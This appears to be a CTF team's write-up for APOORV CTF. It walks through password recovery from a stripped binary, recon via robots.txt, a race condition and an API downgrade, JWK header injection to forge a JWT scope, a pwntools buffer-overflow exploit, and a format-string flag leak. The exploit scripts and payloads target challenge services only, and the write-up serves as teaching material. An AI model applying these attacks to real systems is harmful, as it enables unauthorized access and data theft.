APOORV CTF Writeup
A comprehensive writeup covering all challenges from the APOORV CTF, including web, pwn, and rev challenges.
Final Standings
We secured 15th place! 🎉 Crushed every challenge in web, crypto, binary exploitation, and OSINT—but when it came to hardware and AI, we hit a wall. 😅 Well, you can’t win ‘em all!
Holy Rice
A wise monk made a “totally unhackable” locker to guard his holy rice. Spoiler: it wasn’t. The pigeon mafia is already on it — crack it first and claim the rice for yourself. 🐦🍚
Author: hampter
Solution:
We’ve got an executable file that prompts for a password when run. Our goal? Find or bypass the password check.
Initial Analysis
Running file rice-cooker
reveals that it’s stripped, meaning there’s no symbol table to assist debugging. So, we turn to Ghidra, a powerful decompiler, to analyze the binary.
Main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
undefined8 FUN_001014ff(void)
{
int iVar1;
size_t sVar2;
char *__format;
long in_FS_OFFSET;
char local_d8 [200];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter password: ");
fgets(local_d8,200,stdin);
sVar2 = strcspn(local_d8,"\n");
local_d8[sVar2] = '\0';
FUN_00101199(local_d8);
FUN_001012cb(local_d8);
FUN_00101418(local_d8);
FUN_001014a6(local_d8);
iVar1 = strcmp(local_d8,PTR_s_6!!sbn*ass%84z@84c(8o_^4\#_\#8b0)5_00104048);
if (iVar1 == 0) {
__format = &DAT_001020a0;
}
else {
__format = &DAT_001020e0;
}
printf(__format);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Looking at the decompiled code, we notice that the input is processed through four functions before being checked against a hardcoded password.
FUN_00101199:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void FUN_00101199(char *param_1) {
const char *charset = "0123456789abcdefghijklmnopqrstuvwxyz_{}";
char local_78[104];
int local_80 = 0;
size_t charset_len = strlen(charset);
// Ensure safe copying (truncate if too long)
strncpy(local_78, param_1, sizeof(local_78) - 1);
local_78[sizeof(local_78) - 1] = '\0'; // Null-terminate
while (param_1[local_80] != '\0' && local_80 < (sizeof(local_78) - 1)) {
for (int local_7c = 0; local_7c < charset_len; local_7c++) {
if (param_1[local_80] == charset[local_7c]) {
int new_index = (local_7c + 7) % charset_len; // Shift by 7 with wraparound
local_78[local_80] = charset[new_index];
break;
}
}
local_80++;
}
// Copy back the transformed string safely
strncpy(param_1, local_78, strlen(local_78) + 1);
}
This function:
- Inserts special characters (
**!@#$%^&*()**
) at every 4th position - Ensures the modified string still fits within a buffer
FUN_001012cb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void FUN_001012cb(char *param_1) {
const char *special_chars = "!@#$%^&*()";
char local_d8[200];
int local_e0 = 0;
// Ensure input is not too long
size_t param_len = strlen(param_1);
if (param_len * 2 >= sizeof(local_d8)) {
return;
}
for (int local_dc = 0; param_1[local_dc] != '\0'; local_dc++) {
local_d8[local_e0++] = param_1[local_dc];
if (local_dc % 3 == 0) {
local_d8[local_e0++] = special_chars[local_dc % 10];
}
}
local_d8[local_e0] = '\0'; // Null-terminate
strncpy(param_1, local_d8, strlen(local_d8) + 1);
}
This function inserts special characters ("!@#$%^&*()"
) into the input string after every third character ==(index % 3 == 0)== while ensuring the transformed string is stored back into param_1
FUN_00101418
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void FUN_00101418(char *param_1) {
size_t length = strlen(param_1);
for (size_t i = 0; i < length / 2; i++) {
char temp = param_1[i];
param_1[i] = param_1[length - 1 - i];
param_1[length - 1 - i] = temp;
}
}
The function simply reverse the string.
FUN_001014a6
1
2
3
4
5
6
7
8
9
10
11
void FUN_001014a6(char *param_1) {
for (int i = 0; param_1[i] != '\0'; i++) {
param_1[i] = ~param_1[i]; // Apply bitwise negation
}
}
This function applies bitwise NOT (**~**
) to each character, which is self-inverting (applying twice cancels out).
Here is the Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def reverse_shift(s):
"""Reverses the +7 shift by shifting back -7."""
charset = "0123456789abcdefghijklmnopqrstuvwxyz_{}"
return "".join(
charset[(charset.index(c) - 7) % len(charset)] if c in charset else c
for c in s
)
def remove_special_chars(s):
"""Removes every 4th special character that was inserted."""
return "".join(c for i, c in enumerate(s) if (i % 4 != 1))
def reverse_string(s):
"""Reverses the string."""
return s[::-1]
### Given transformed password
transformed_password = "6!!sbn*ass%84z@84c(8o_^4\#_\#8b0)5m_&j}y$vvw!h"
### Reverse transformations
step1 = reverse_string(transformed_password)
step2 = remove_special_chars(step1)
original_password = reverse_shift(step2)
print("Recovered Password:", original_password)
Running this get apoorvctf{w41t\#_th15_1s_1ll3g4l!}
SEO CEO
They’re optimizing SEO to show this garbage?!
Author: proximuz
Understanding the Web’s Inner Workings
When I think of SEO, my mind immediately jumps to robots.txt after all, that’s where the secrets usually hide, right? And sure enough, it didn’t disappoint. A quick look revealed a flake flag, which was a solid start.
Following the Digital Trail
Next, I turned my attention to sitemap.xml—because if you want to be discovered, you need a map. That’s when I stumbled upon an oddly named endpoint:
/goofyahhroute
With a name like that, I knew something was up.
The Mystery of the “Goofy Ahh Route”
Curious, I visited the page and was greeted with a cryptic message:
“Tell it to the URL then, blud.”
Blud? Alright, challenge accepted.
Thinking like a CTF player, I decided to “talk” to the URL. I added **?flag=yes**
at the end of the address, hit enter, and just like that—the flag appeared:
apoorvctf{s30_1snT_0pt1onaL}
Blog-1
In the vast digital realm, Blog-1 awaited brave developers. The mission? Craft a captivating blog filled with enchanting posts, lively comments, and secure user authentication. But there was a catch—only one blog per day! The clock was ticking. Ready for the Blog-1 adventure?
Author: Rhul
https://chals1.apoorvctf.xyz:5001/
Understanding the Web’s Inner Workings
Before diving into the challenge, let’s break down the rules of the game:
There’s a register and login page. Simple enough.
Once logged in, you can post a blog—but only one per day (talk about self-control).
A daily rewards system exists, but there’s a twist: to claim your prize, you must post five blogs.
Do you wait five days for the reward? Sure. But by then, the CTF would be over. 😭
Clearly, patience was not an option.
Breaking the System with a Race Condition
Like any good hacker, I smelled an exploit. Race condition came to mind, so I fired up Burp Suite faster than you can say “CTF.” ��
The Plan:
- Intercept the blog post request.
- Send it to the Repeater (because once is never enough).
- Fire off six identical requests simultaneously.
The Execution:
Boom! Here’s what happened:
After sending the requests in parallel…
🎉 Did I get the reward? Nope. Instead, I got Skibidi Toilet! 🚽🤣
But I wasn’t done yet.
API Version Downgrade for the Win
While accessing the gift, I noticed this sneaky endpoint:
https://chals1.apoorvctf.xyz:5001/api/v2/gift
So, I did what any self-respecting CTF player would do—downgraded the API version to v1.
And just like that, FLAG SECURED!
apoorvctf{s1gm@_s1gm@_b0y}
Blog-2 🔐
After Blog-1’s failure, Blud started making blog-2. This time with efficient and new Auth system based on OIDC. Little did bro know…. His Design was a DISASTER.
authentication system. Lil’ did bro know… 💀 his design was more fragile than my GPA.
Author: Rhul
The Hint:
“Bro was that dumb to validate _ in j…”
Hmmm, let’s play fill in the blanks. 🤔
- Same functionality as Blog-1 but now with “strong” OIDC auth instead of that useless restriction system?
- Ohhh, OIDC?! Bro, I literally wrote a blog about it during NITECCTF 2024.
- Let’s check if
/.well-known/openid-configuration
exists!
Discovery Phase:
BOOM. Found this:
1
2
3
{"scopes_supported":["basic","sigma_viewer_blogs"],"id_token_signing_alg_values_supported":["HS256"]}
HS256? Bro signed his tokens with a symmetric key… we’re SO back. 😂
- Exploring the functionality further, the decoded JWT looked like this:
1
2
3
{"iss":"OIDC","exp":1740930029,"userId":"67c47abe152b5cfebeb94221","username":"[email protected]","scope":"basic","iat":1740929729}
Problem: The scope is basic
.
Goal: Change it to sigma_viewer_blogs
to unlock the goodies.
The Breakthrough: JWK Header Injection
Remember the hint? Let’s complete it:
- JWK
- JWT
This means one thing… JWK header injection time! 🎯
🎭 Forging the Magic Token (Use JWT Editor tool)
Generate a new RSA key
Send the
/api/blog/getAll
request to RepeaterGo to the “JSON Web Token” tab in Burp Suite
Click “Attack” → Select “Embedded JWK”
Modify the payload:
- Change
"scope": "basic"
→"scope": "sigma_viewer_blogs"
- Change
Send the request…
👀 Response:
Flag acquired! 🎉
apoorvctf{s1gm@_b10g_r3@d3r_f0r_r3@l}
Kogarashi Café - The Forbidden Recipe ��
Description
The final test. One last order, one last chance. Choose carefully—the café remembers.
solution:
we get a ELF file ,
1
2
3
4
5
6
7
─$ file forbidden_recipe
forbidden_recipe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-
linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c1033e4a4b053363f711f388f116277a1cbde252, not stripped
It is a 32-bit binary.
Not stripped, making analysis easier.
Security Checks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ pwn checksec forbidden_recipe
[*] '/home/hyder/pra_ctf/apoorv/pwn/kogarashi3/files/forbidden_recipe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
No stack canary → Possible buffer overflow.
NX enabled → No direct shellcode execution.
No PIE → Predictable memory addresses.
Using Ghidra, we find a function vuln()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void vuln(void)
{
undefined local_34 [32];
int local_14;
int local_10;
local_10 = 0;
local_14 = 0;
puts(&DAT_080487c8);
puts("Barista: 'I remember you... what will it be this time?'");
read(0,local_34,0x28);
if ((local_10 == 0xc0ff33) && (local_14 == -0x21350453)) {
puts("Barista: 'Ah... I knew you'd figure it out. One moment.'");
win();
}
else {
printf("Barista: 'Hmm... that's not quite right. Order codes: 0x%x, 0x%x'\n",local_10,
local_14);
puts("Barista: 'Try again, I know you'll get it.'");
}
return;
}
Then, from the code, we can see that there is an if
check that compares with a constant value. If true, it calls the win()
function and prints the flag. However, the two variables are initially set to 0. Then I remembered that when we run the ELF file
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ./forbidden_recipe
Welcome back to Kogarashi Café.
Barista: 'I remember you... what will it be this time?'
hello
Barista: 'Hmm... that's not quite right. Order codes: 0x0, 0x0'
Barista: 'Try again, I know you'll get it.'
There is a value leak from the program, so I thought it might be related to the two variables local_10
and local_14
. I considered using Python’s pwn
library with cyclic
to overwrite these values and find the offset
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ./forbidden_recipe
Welcome back to Kogarashi Café.
Barista: 'I remember you... what will it be this time?'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
Barista: 'Hmm... that's not quite right. Order codes: 0x6161616a, 0x61616169'
Barista: 'Try again, I know you'll get it.'
We can see that the values have been changed. Next, I found the offset using cyclic_find()
.
1
2
3
4
5
6
7
8
9
>>> cyclic_find(0x6161616a)
36
>>> cyclic_find(0x61616169)
32
The offsets are 32 and 36. So, we need to adjust the payload to fit our desired values at those offsets. To find both values, I used GDB to analyze the disassembled code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x080485e6 <+0>: push ebp
0x080485e7 <+1>: mov ebp,esp
0x080485e9 <+3>: sub esp,0x38
0x080485ec <+6>: mov DWORD PTR [ebp-0xc],0x0
0x080485f3 <+13>: mov DWORD PTR [ebp-0x10],0x0
0x080485fa <+20>: sub esp,0xc
0x080485fd <+23>: push 0x80487c8
0x08048602 <+28>: call 0x8048430 <puts@plt>
0x08048607 <+33>: add esp,0x10
0x0804860a <+36>: sub esp,0xc
0x0804860d <+39>: push 0x80487ec
0x08048612 <+44>: call 0x8048430 <puts@plt>
0x08048617 <+49>: add esp,0x10
0x0804861a <+52>: sub esp,0x4
0x0804861d <+55>: push 0x28
0x0804861f <+57>: lea eax,[ebp-0x30]
0x08048622 <+60>: push eax
0x08048623 <+61>: push 0x0
0x08048625 <+63>: call 0x80483f0 <read@plt>
0x0804862a <+68>: add esp,0x10
0x0804862d <+71>: cmp DWORD PTR [ebp-0xc],0xc0ff33
0x08048634 <+78>: jne 0x8048656 <vuln+112>
0x08048636 <+80>: cmp DWORD PTR [ebp-0x10],0xdecafbad
0x0804863d <+87>: jne 0x8048656 <vuln+112>
0x0804863f <+89>: sub esp,0xc
0x08048642 <+92>: push 0x8048824
0x08048647 <+97>: call 0x8048430 <puts@plt>
0x0804864c <+102>: add esp,0x10
0x0804864f <+105>: call 0x804856b <win>
0x08048654 <+110>: jmp 0x804867c <vuln+150>
0x08048656 <+112>: sub esp,0x4
0x08048659 <+115>: push DWORD PTR [ebp-0x10]
0x0804865c <+118>: push DWORD PTR [ebp-0xc]
0x0804865f <+121>: push 0x8048860
0x08048664 <+126>: call 0x8048400 <printf@plt>
0x08048669 <+131>: add esp,0x10
0x0804866c <+134>: sub esp,0xc
0x0804866f <+137>: push 0x80488a4
0x08048674 <+142>: call 0x8048430 <puts@plt>
0x08048679 <+147>: add esp,0x10
0x0804867c <+150>: nop
0x0804867d <+151>: leave
0x0804867e <+152>: ret
End of assembler dump.
We can see the cmp
instructions at main+71
and main+80
, where the values compared are 0xc0ff33
and 0xdecafbad
. By placing these values at the corresponding offsets in little-endian format, we can get the flag.
Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'critical'
elf = context.binary = ELF('./forbidden_recipe')
gdbscript = '''
break *main
continue
'''
if args.REMOTE:
p = remote('chals1.apoorvctf.xyz', 3002)
elif args.GDB:
p = gdb.debug(elf.path, gdbscript=gdbscript)
else:
p = process(elf.path)
log.info("\\\\n==== start exploit ====\\\\n")
p.recvuntil(b"Barista: 'I remember you... what will it be this time?'")
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaa\xad\xfb\xca\xde3\xff\xc0\x00'
p.sendline(payload)
print(p.recv())
p.interactive()
Kogarashi Café - The Secret Blend ☕
Description:
Not everything on the menu is meant to be seen.
solution:
from the ELF file,
1
2
3
4
5
└─$ file secret_blend
secret_blend: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=00003bb9e0cd2a32ea61c4b60004ed82aa94d4a9, not stripped
This is the same as above: a 32-bit LSB executable and not stripped.
security checks,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ pwn checksec secret_blend
[*] '/home/hyder/pra_ctf/apoorv/pwn/kogarashi2/files/secret_blend'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
This binary has Partial RELRO, No PIE, and Canary enabled. So, let’s take a look at the disassembled code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void vuln(void)
{
char local_b4 [64];
char local_74 [100];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Barista: 'The special blend is missing...(create flag.txt)'");
exit(1);
}
fgets(local_b4,0x40,local_10);
fclose(local_10);
puts("Barista: 'What will you have?'");
fgets(local_74,100,stdin);
printf(local_74);
putchar(10);
return;
}
We can see that the program opens the flag.txt
file and prints ‘missing’ if the file is not found.
From the code, we notice a printf
call after fgets
without a format specifier. This indicates a format string vulnerability.
So, let’s leak some values.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nc chals1.apoorvctf.xyz 3003
Welcome to Kogarashi Café.
Barista: 'What will you have?'
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %P %p
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %P %p
0xd12481 0xfbad2288 0xff2edb7f 0xd124dd (nil) 0x746376726f6f7061 0x334d5f3368547b66 0x736b34334c5f756e 0x68545f6572304d5f 0x68535f74495f6e61 0x7d646c7530 0x404050 0x7fc514f2d5e0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0
x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252050 (nil) 0xd122a0 0x7fffa88540a0 0x401278 %P 0x1
then after some multiple tries , we can find that
1
2
3
0x746376726f6f7061 0x334d5f3368547b66 0x736b34334c5f756e 0x68545f6572304d5f 0x68535f74495f6e61 0x7d646c7530 0x404050 0x7f8dbb82b5e0 0x7025207025207025 0x2520702520702520 0x2070252070252070
these values are not changing each run , so i tried to convert it in to ASCHII
, which didnt go as planned ,
1
2
3
F7g&ö÷3M_3hT{f6³C4Å÷VàhT_er0M_5÷Döæ}dlu0 »µà R P% p% p% R
since this is not in the readable form ,
then i manually changed the endian of this and converted to the ASCII value like
0x746376726f6f7061 -> 61706f6f72766374 …
then the flag is apoorvctf{Th3_M3nu_L34ks_M0re_Than_It_Sh0uld}.